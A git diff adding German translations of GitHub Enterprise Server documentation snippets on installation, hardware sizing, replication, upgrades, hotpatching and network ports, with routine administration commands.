+Dies führst du in der Regel nur dann aus, wenn du den [Support kontaktiert](https://support.github.com/) hast und vom Support dazu aufgefordert wurdest.
diff --git a/translations/de-DE/data/reusables/enterprise_enterprise_support/upload-support-bundle.md b/translations/de-DE/data/reusables/enterprise_enterprise_support/upload-support-bundle.md
new file mode 100644
index 0000000000..44c3e97cb3
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_enterprise_support/upload-support-bundle.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 59c2a2e7af9567a13b8d8b0238bdd59a8acb9d9b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880492"
+---
+1. Besuche https://support.github.com/uploads, und lade dein Supportbundle hoch.
diff --git a/translations/de-DE/data/reusables/enterprise_enterprise_support/use_ghe_cluster_support_bundle.md b/translations/de-DE/data/reusables/enterprise_enterprise_support/use_ghe_cluster_support_bundle.md
new file mode 100644
index 0000000000..5e83722c1b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_enterprise_support/use_ghe_cluster_support_bundle.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 0230f9c28aff46799a45e02080a3b33c5aa88d47
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "146332208"
+---
+{% note %}
+
+**Hinweis**: Wenn du eine Georeplikationskonfiguration oder {% data variables.product.prodname_enterprise %}-Clustering verwendest, solltest du den Befehl `ghe-cluster-support-bundle` verwenden, um das Supportpaket abzurufen. Weitere Informationen findest du unter [Befehlszeilenprogramme](/enterprise/admin/guides/installation/command-line-utilities/#ghe-cluster-support-bundle).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/about-adjusting-resources.md b/translations/de-DE/data/reusables/enterprise_installation/about-adjusting-resources.md
new file mode 100644
index 0000000000..476888f0d8
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/about-adjusting-resources.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fb3a06abf4baf854476bdbdedfcab46bd155100c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102464"
+---
+Weitere Informationen zum Anpassen von Ressourcen für eine vorhandene Instanz findest du in den Artikeln zum [Erhöhen der Speicherplatzkapazität](/enterprise/admin/installation/increasing-storage-capacity) und zum [Erhöhen von CPU- oder Arbeitsspeicherressourcen](/enterprise/admin/installation/increasing-cpu-or-memory-resources).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/add-ssh-key-to-primary.md b/translations/de-DE/data/reusables/enterprise_installation/add-ssh-key-to-primary.md
new file mode 100644
index 0000000000..201529b3ec
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/add-ssh-key-to-primary.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fa58184c30375185c4179ef628112f2cc3629ac6
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785870"
+---
+1. Um den öffentlichen Schlüssel der Liste autorisierter Schlüssel auf der primären Appliance hinzuzufügen, navigiere zu `https://PRIMARY-HOSTNAME/setup/settings`, und füge der Liste den Schlüssel hinzu, den du vom Replikat kopiert hast.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/aws-instance-recommendation.md b/translations/de-DE/data/reusables/enterprise_installation/aws-instance-recommendation.md
new file mode 100644
index 0000000000..7b31811995
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/aws-instance-recommendation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3073f471eba696637e4fe53b665fd75df10f3913
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102460"
+---
+{% data variables.product.company_short %} empfiehlt eine speicheroptimierte Instanz für {% data variables.product.prodname_ghe_server %}. Weitere Informationen findest du unter [Amazon EC2-Instanztypen](https://aws.amazon.com/ec2/instance-types/#Memory_Optimized) auf der Amazon EC2-Website.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/azure-instance-recommendation.md b/translations/de-DE/data/reusables/enterprise_installation/azure-instance-recommendation.md
new file mode 100644
index 0000000000..ac3ecd2903
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/azure-instance-recommendation.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: d8e7abc58e82244acc379f494ed50f40679117ef
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108459"
+---
+Für die {% data variables.product.prodname_ghe_server %}-Appliance ist eine Premium-Storage-Daten-Disk erforderlich. Zudem wird sie auf jeder Azure-VM unterstützt, die Premium-Storage unterstützt. Azure VM-Typen mit dem Suffix `s` unterstützen Storage Premium. Weitere Informationen findest du unter [Welche Datenträgertypen sind in Azure verfügbar?](https://docs.microsoft.com/en-us/azure/virtual-machines/disks-types#premium-ssd) und [Azure Storage Premium: für hohe Leistung konzipiert](https://docs.microsoft.com/en-us/azure/virtual-machines/premium-storage-performance) in der Azure-Dokumentation.
+
+{% data variables.product.company_short %} empfiehlt eine arbeitsspeicheroptimierte VM für {% data variables.product.prodname_ghe_server %}. Weitere Informationen findest du unter [Arbeitsspeicheroptimierte VM-Größen](https://docs.microsoft.com/en-us/azure/virtual-machines/sizes-memory) in der Azure-Dokumentation.
+
+{% data variables.product.prodname_ghe_server %} unterstützt jede Region, die Ihren VM-Typ unterstützt. Weitere Informationen zu den unterstützten Regionen für jede VM findest du unter [Verfügbare Produkte nach Region](https://azure.microsoft.com/regions/services/).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/changing-hostname-not-supported.md b/translations/de-DE/data/reusables/enterprise_installation/changing-hostname-not-supported.md
new file mode 100644
index 0000000000..8ded483e2b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/changing-hostname-not-supported.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e62d670c2ac956a026f19caa00ed93b2f314953b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102456"
+---
+{% warning %}
+
+**Warnung:** Ändere den Hostnamen für {% data variables.product.prodname_ghe_server %} nach der Ersteinrichtung nicht mehr. Das Ändern des Hostnamens wird zu unerwartetem Verhalten führen, bis hin zu Instanzausfällen.
+
+{% endwarning %}  
diff --git a/translations/de-DE/data/reusables/enterprise_installation/command-line-utilities-ghe-upgrade-rollback.md b/translations/de-DE/data/reusables/enterprise_installation/command-line-utilities-ghe-upgrade-rollback.md
new file mode 100644
index 0000000000..c9ad13891f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/command-line-utilities-ghe-upgrade-rollback.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: ea162bdacad3d8e4a85c343eb9c3c08afd2b9056
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102448"
+---
+Wenn du ein Rollback eines Upgrades durchführst, musst du eine Upgradepaketdatei mit der Erweiterung *.pkg* verwenden. Hotpatchpaketdateien mit der Erweiterung *.hpkg* werden nicht unterstützt.
+
+```shell
+ghe-upgrade --allow-patch-rollback <em>EARLIER-RELEASE-UPGRADE-PACKAGE</em>.pkg
+```
+
+Nach Ausführung des Befehls ist ein Neustart erforderlich. Der Rollback wirkt sich nicht auf die Datenpartition aus, da Migrationen nicht mit Patch-Releases ausgeführt werden.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/configuration-recognized.md b/translations/de-DE/data/reusables/enterprise_installation/configuration-recognized.md
new file mode 100644
index 0000000000..50b15586f4
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/configuration-recognized.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2fd5ca9c5a65bed4a656cb3fdbd37db7a23a9387
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102443"
+---
+1. Sobald die Instanz vollständig neu gestartet wurde und Du darauf zugreifen kannst, verwende die SSH-Verwaltungsshell, um zu überprüfen, ob die neue Ressourcenkonfiguration erkannt wird:
+```shell
+$ ssh -p 122 admin@<em>HOSTNAME</em>
+$ ghe-system-info
+```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/copy-the-vm-public-dns-name.md b/translations/de-DE/data/reusables/enterprise_installation/copy-the-vm-public-dns-name.md
new file mode 100644
index 0000000000..9f383c659e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/copy-the-vm-public-dns-name.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0d02ecd435b943645819f3ded45bd1e003bf025b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102439"
+---
+1. Kopiere den Namen des öffentlichen DNS der virtuellen Maschine, und füge ihn in einen Webbrowser ein.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/create-attached-storage-volume.md b/translations/de-DE/data/reusables/enterprise_installation/create-attached-storage-volume.md
new file mode 100644
index 0000000000..42dbb148dc
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/create-attached-storage-volume.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9e50b90529bd8f7037f0e64100a48da243fe1187
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877033"
+---
+1. Erstelle eine neue virtuelle Festplatte, die Du als angehängtes Speichervolumen für Deine Instanzdaten verwendest und konfiguriere die Größe basierend auf der Anzahl Deiner Benutzerlizenzen.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/create-ghe-instance.md b/translations/de-DE/data/reusables/enterprise_installation/create-ghe-instance.md
new file mode 100644
index 0000000000..a4aa030185
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/create-ghe-instance.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 36a1e0a9dc4a04df8943c92ce9bd1ef8c74f8eef
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102435"
+---
+Zum Erstellen der Instanz musst Du das {% data variables.product.prodname_ghe_server %}-Abbild auf Deine virtuelle Maschine importieren und ein zusätzliches Storage-Volume für Deine Instanzdaten anhängen. Weitere Informationen findest du unter [Grundlegendes zur Hardware](#hardware-considerations).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/disable-github-pages-warning.md b/translations/de-DE/data/reusables/enterprise_installation/disable-github-pages-warning.md
new file mode 100644
index 0000000000..94c59f85a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/disable-github-pages-warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 99435d735d5aee9e65a59620886bb930606d80f9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102432"
+---
+{% ifversion ghes %} {% warning %}
+
+**Warnung:** Bei deaktivierter Unterdomänenisolation solltest du auch {% data variables.product.prodname_pages %} auf deiner Appliance deaktivieren. Es besteht keine Möglichkeit, den vom Benutzer bereitgestellten {% data variables.product.prodname_pages %}-Inhalt von den restlichen Daten deines Unternehmens zu isolieren. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_pages %} für dein Unternehmen](/enterprise/admin/guides/installation/configuring-github-pages-for-your-enterprise/).
+
+{% endwarning %} {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/download-appliance.md b/translations/de-DE/data/reusables/enterprise_installation/download-appliance.md
new file mode 100644
index 0000000000..6f70aade30
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/download-appliance.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 833b2b247a2b9700361da2a98ffa90ba4e676a78
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879108"
+---
+1. Navigiere zu dem Bild, das für die neue Instanz verwendet werden soll.
+
+   - Navigiere zu [Release notes](/admin/release-notes) (Versionshinweise).
+   - Klicke in der rechten Seitenleiste auf die Version, die heruntergeladen werden soll.
+   - Klicke auf **{% data variables.product.prodname_ghe_server %} X.X.X herunterladen**.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/download-license.md b/translations/de-DE/data/reusables/enterprise_installation/download-license.md
new file mode 100644
index 0000000000..f272a6d478
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/download-license.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a87d94ae12d9d9cd58c3ace411a9e66ff8501fe9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102424"
+---
+1. Lade deine Lizenz herunter. Weitere Informationen findest du unter [Herunterladen deiner Lizenz für {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/download-note.md b/translations/de-DE/data/reusables/enterprise_installation/download-note.md
new file mode 100644
index 0000000000..d69aa8280f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/download-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: d435e6c0fdaac791e6663be5afa511b99365b3a3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332168"
+---
+{% note %}
+
+**Hinweis**: Wenn du die Prüfung auf automatische Updates aktiviert hast, musst du das Upgradepaket nicht herunterladen und kannst die automatisch heruntergeladene Datei verwenden. Weitere Informationen findest du unter [Aktivieren der Prüfungen auf automatische Updates](/enterprise/admin/guides/installation/enabling-automatic-update-checks/).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/download-package.md b/translations/de-DE/data/reusables/enterprise_installation/download-package.md
new file mode 100644
index 0000000000..6dd8199681
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/download-package.md
@@ -0,0 +1,4 @@
+1. Download the upgrade package to {% data variables.location.product_location %} using `curl `:
+```shell
+admin@HOSTNAME:~$ curl -L -O UPGRADE-PKG-URL
+```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/enterprise-download-upgrade-pkg.md b/translations/de-DE/data/reusables/enterprise_installation/enterprise-download-upgrade-pkg.md
new file mode 100644
index 0000000000..b6bfad02c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/enterprise-download-upgrade-pkg.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9772839d76e0984a719608a960c97972faa7cc5a
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877066"
+---
+Navigiere zur [Seite „{% data variables.product.prodname_ghe_server %}-Releases“](https://enterprise.github.com/releases). Klicke neben dem Release, auf welches das Upgrade durchgeführt wird, auf **Herunterladen**, und klicke dann auf die Registerkarte **Upgrade**.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/generate-replication-key-pair.md b/translations/de-DE/data/reusables/enterprise_installation/generate-replication-key-pair.md
new file mode 100644
index 0000000000..7eff230ba1
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/generate-replication-key-pair.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 0812aa135533145ff4228005d8a4840c904cdf31
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102400"
+---
+7. Führe zum Generieren eines Schlüsselpaars zur Replikation den Befehl `ghe-repl-setup` mit der IP-Adresse der primären Appliance aus, und kopiere den zurückgegebenen öffentlichen Schlüssel.
+  ```shell
+  $ ghe-repl-setup <em>PRIMARY IP</em>
+  ```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/ha-and-clustering-failure-scenarios.md b/translations/de-DE/data/reusables/enterprise_installation/ha-and-clustering-failure-scenarios.md
new file mode 100644
index 0000000000..d0b09973b5
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/ha-and-clustering-failure-scenarios.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 3f831f487921774e868fcff040ce1bf9ce33d226
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102399"
+---
+- **Softwareabstürze** durch Ausfall des Betriebssystems oder nicht wiederherstellbare Anwendungen.
+- **Hardwarefehler**, beispielsweise Speicherhardware, CPU, RAM oder Netzwerkschnittstellen.
+- **Virtualisierungshost-Systemfehler**, einschließlich nicht geplanter und [geplanter Wartungsereignisse auf AWS](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-instances-status-check_sched.html).
+- **Logisch oder physisch getrenntes Netzwerk**, wenn sich die Failoverappliance in einem separaten Netzwerk befindet, das vom Fehler nicht betroffen ist.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md b/translations/de-DE/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md
new file mode 100644
index 0000000000..1d514c4aae
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md
@@ -0,0 +1,49 @@
+- [Minimum requirements](#minimum-requirements)
+- [Storage](#storage)
+- [CPU and memory](#cpu-and-memory)
+
+### Minimum requirements
+
+We recommend different hardware configurations depending on the number of user licenses for {% data variables.location.product_location %}. If you provision more resources than the minimum requirements, your instance will perform and scale better.
+
+{% data reusables.enterprise_installation.hardware-rec-table %}
+
+{% data reusables.actions.more-resources-for-ghes %}
+
+{% data reusables.enterprise_installation.about-adjusting-resources %}
+
+### Storage
+
+We recommend a high-performance SSD with high input/output operations per second (IOPS) and low latency for {% data variables.product.prodname_ghe_server %}. Workloads are I/O intensive. If you use a bare metal hypervisor, we recommend directly attaching the disk or using a disk from a storage area network (SAN).
+
+Your instance requires a persistent data disk separate from the root disk. For more information, see "[System overview](/enterprise/admin/guides/installation/system-overview)."
+
+{% ifversion ghes %}
+
+To configure {% data variables.product.prodname_actions %}, you must provide external blob storage. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server##external-storage-requirements)."
+
+{% endif %}
+
+The available space on the root filesystem will be 50% of the total disk size. You can resize your instance's root disk by building a new instance or using an existing instance. For more information, see "[System overview](/enterprise/admin/guides/installation/system-overview#storage-architecture)" and "[Increasing storage capacity](/enterprise/admin/guides/installation/increasing-storage-capacity)."
+
+### CPU and memory
+
+The CPU and memory resources that {% data variables.product.prodname_ghe_server %} requires depend on the levels of activity for users, automations, and integrations.
+
+{% ifversion ghes %}
+
+If you plan to enable {% data variables.product.prodname_actions %} for the users of your {% data variables.product.prodname_ghe_server %} instance, you may need to provision additional CPU and memory resources for your instance. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)."
+
+{% endif %}
+
+{% data reusables.enterprise_installation.increasing-cpus-req %}
+
+{% warning %}
+
+**Warning:** We recommend that users configure webhook events to notify external systems of activity on {% data variables.product.prodname_ghe_server %}. Automated checks for changes, or _polling_, will negatively impact the performance and scalability of your instance. For more information, see "[About webhooks](/github/extending-github/about-webhooks)."
+
+{% endwarning %}
+
+For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)."
+
+You can increase your instance's CPU or memory resources. For more information, see "[Increasing CPU or memory resources](/enterprise/admin/installation/increasing-cpu-or-memory-resources)."
diff --git a/translations/de-DE/data/reusables/enterprise_installation/hardware-rec-table.md b/translations/de-DE/data/reusables/enterprise_installation/hardware-rec-table.md
new file mode 100644
index 0000000000..a6e2eddfa0
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/hardware-rec-table.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 4e7a2b55a6a6db231bacb232e4a4da0b4101dbf1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147167403"
+---
+| Benutzerlizenzen | vCPUs | Arbeitsspeicher | Angeschlossener Speicher | Stammspeicher |
+| :- | -: | -: | -: | -: |
+| Test, Demo oder 10 Benutzer mit eingeschränkten Funktionen | 4 | 32 GB | 150 GB | 200 GB |
+| 10–3000  | 8 | 48 GB | 300 GB | 200 GB |
+| 3000–5000 | 12 | 64 GB | 500 GB | 200 GB |
+| 5000–8000 | 16 | 96 GB | 750 GB | 200 GB |
+| 8000–10000+ | 20 | 160 GB | 1000 GB | 200 GB |
diff --git a/translations/de-DE/data/reusables/enterprise_installation/hotpatching-explanation.md b/translations/de-DE/data/reusables/enterprise_installation/hotpatching-explanation.md
new file mode 100644
index 0000000000..84970a0e35
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/hotpatching-explanation.md
@@ -0,0 +1,7 @@
+You can upgrade {% data variables.product.prodname_ghe_server %} to the latest patch release using a hotpatch.
+
+You can use hotpatching to upgrade to a newer patch release, but not a feature release. For example, you can upgrade from `2.10.1` to `2.10.5` because they are in the same feature series, but not from `2.10.9` to `2.11.0` because they are in a different feature series.
+
+Hotpatches do not generally require a reboot. If a hotpatch does require a reboot, the {% data variables.product.product_name %} release notes will indicate the requirement.
+
+Hotpatches require a configuration run, which can cause a brief period of errors or unresponsiveness for some or all services on {% data variables.location.product_location %}. You are not required to enable maintenance mode during installation of a hotpatch, but doing so will guarantee that users see a maintenance page instead of errors or timeouts. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode)."
diff --git a/translations/de-DE/data/reusables/enterprise_installation/image-urls-viewable-warning.md b/translations/de-DE/data/reusables/enterprise_installation/image-urls-viewable-warning.md
new file mode 100644
index 0000000000..ecff795df4
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/image-urls-viewable-warning.md
@@ -0,0 +1,5 @@
+{% warning %}
+
+**Warning:** If you add an image attachment to a pull request or issue comment, anyone can view the anonymized image URL without authentication{% ifversion ghes %}, even if the pull request is in a private repository, or if private mode is enabled. To prevent unauthorized access to the images, ensure that you restrict network access to the systems that serve the images, including {% data variables.location.product_location %}{% endif %}.{% ifversion ghae %} To prevent unauthorized access to image URLs on {% data variables.product.product_name %}, consider restricting network traffic to your enterprise. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)."{% endif %}
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/increasing-cpus-req.md b/translations/de-DE/data/reusables/enterprise_installation/increasing-cpus-req.md
new file mode 100644
index 0000000000..2eb20ced53
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/increasing-cpus-req.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f07997cc0e87da7f44fb1e62cd28c45a335e8e62
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102383"
+---
+Wenn du CPU-Ressourcen erhöhst, empfehlen wir, mindestens 6,5 GB Arbeitsspeicher für jede vCPU (bis zu 16 vCPUs) hinzuzufügen, die du für die Instanz bereitstellst. Wenn du mehr als 16 vCPUs verwendest, musst du keine 6,5 GB Arbeitsspeicher für jede vCPU hinzufügen. Du solltest deine Instanz jedoch überwachen, um sicherzustellen, dass genügend Arbeitsspeicher vorhanden ist.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/instance-will-restart-automatically.md b/translations/de-DE/data/reusables/enterprise_installation/instance-will-restart-automatically.md
new file mode 100644
index 0000000000..3bed3e4910
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/instance-will-restart-automatically.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 58c29702fcb247a111c587e3165692d454912d10
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102380"
+---
+4. Die Instanz wird automatisch neu gestartet.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/lets-encrypt-prerequisites.md b/translations/de-DE/data/reusables/enterprise_installation/lets-encrypt-prerequisites.md
new file mode 100644
index 0000000000..e452b761f8
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/lets-encrypt-prerequisites.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 66a4135b46900971cf7bd44eb665f0e88f739f96
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102375"
+---
+Zum Verwenden der „Let's Encrypt"-Automatisierung muss Deine Appliance mit einem Hostnamen konfiguriert sein, auf den über HTTP öffentlich zugegriffen werden kann. Darüber hinaus muss festgelegt werden, dass die Appliance ausgehende HTTPS-Verbindungen herstellen kann.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/monitoring-replicas.md b/translations/de-DE/data/reusables/enterprise_installation/monitoring-replicas.md
new file mode 100644
index 0000000000..5130a9d119
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/monitoring-replicas.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: e3bbac236dce195487aada32132e9b78e27500ea
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102368"
+---
+Du kannst die Verfügbarkeit von {% data variables.product.prodname_ghe_server %} überwachen, indem du den Statuscode überprüfst, der für die `https://HOSTNAME/status`-URL zurückgegeben wird. Eine Appliance, die den Benutzerdatenverkehr verarbeiten kann, gibt den Statuscode `200` (OK) zurück. Eine Appliance kann aus einigen Gründen `503` (Dienst nicht verfügbar) zurückgeben:
+ - Die Appliance ist ein passives Replikat, beispielsweise ein Replikat in einer Hochverfügbarkeitskonfiguration mit zwei Knoten.
+ - Die Appliance befindet sich im Wartungsmodus.
+ - Die Appliance ist Bestandteil der Geo-Replikationskonfiguration, ist jedoch ein inaktives Replikat.
+
+Du kannst auch das Replikationsübersichts-Dashboard verwenden, das unter der folgenden Adresse verfügbar ist:
+
+`https://HOSTNAME/setup/replication`
diff --git a/translations/de-DE/data/reusables/enterprise_installation/necessary_ports.md b/translations/de-DE/data/reusables/enterprise_installation/necessary_ports.md
new file mode 100644
index 0000000000..4a2e7cfdc6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/necessary_ports.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: 99be41c3a31f1602c08160b3c552e2686820974d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102367"
+---
+| Port | Dienst | Beschreibung                                                |
+|------|---------|------------------------------------------------------------|
+| 22   | SSH     | Git über SSH-Zugriff. Unterstützt das Klonen, Abrufen und Übertragen von Vorgängen an öffentliche/private Repositorys. |
+| 25   | SMTP    | SMTP mit Verschlüsselung (STARTTLS) wird unterstützt. |
+| 80   | HTTP    | Webanwendungszugriff. *Alle Anforderungen werden an den HTTPS-Port weitergeleitet, wenn SSL aktiviert ist.* |
+| 122  | SSH     | Shellzugriff auf die Instanz. *Der standardmäßige SSH-Port (22) ist für den Git- und SSH-Netzwerkdatenverkehr der Anwendung vorgesehen.* |
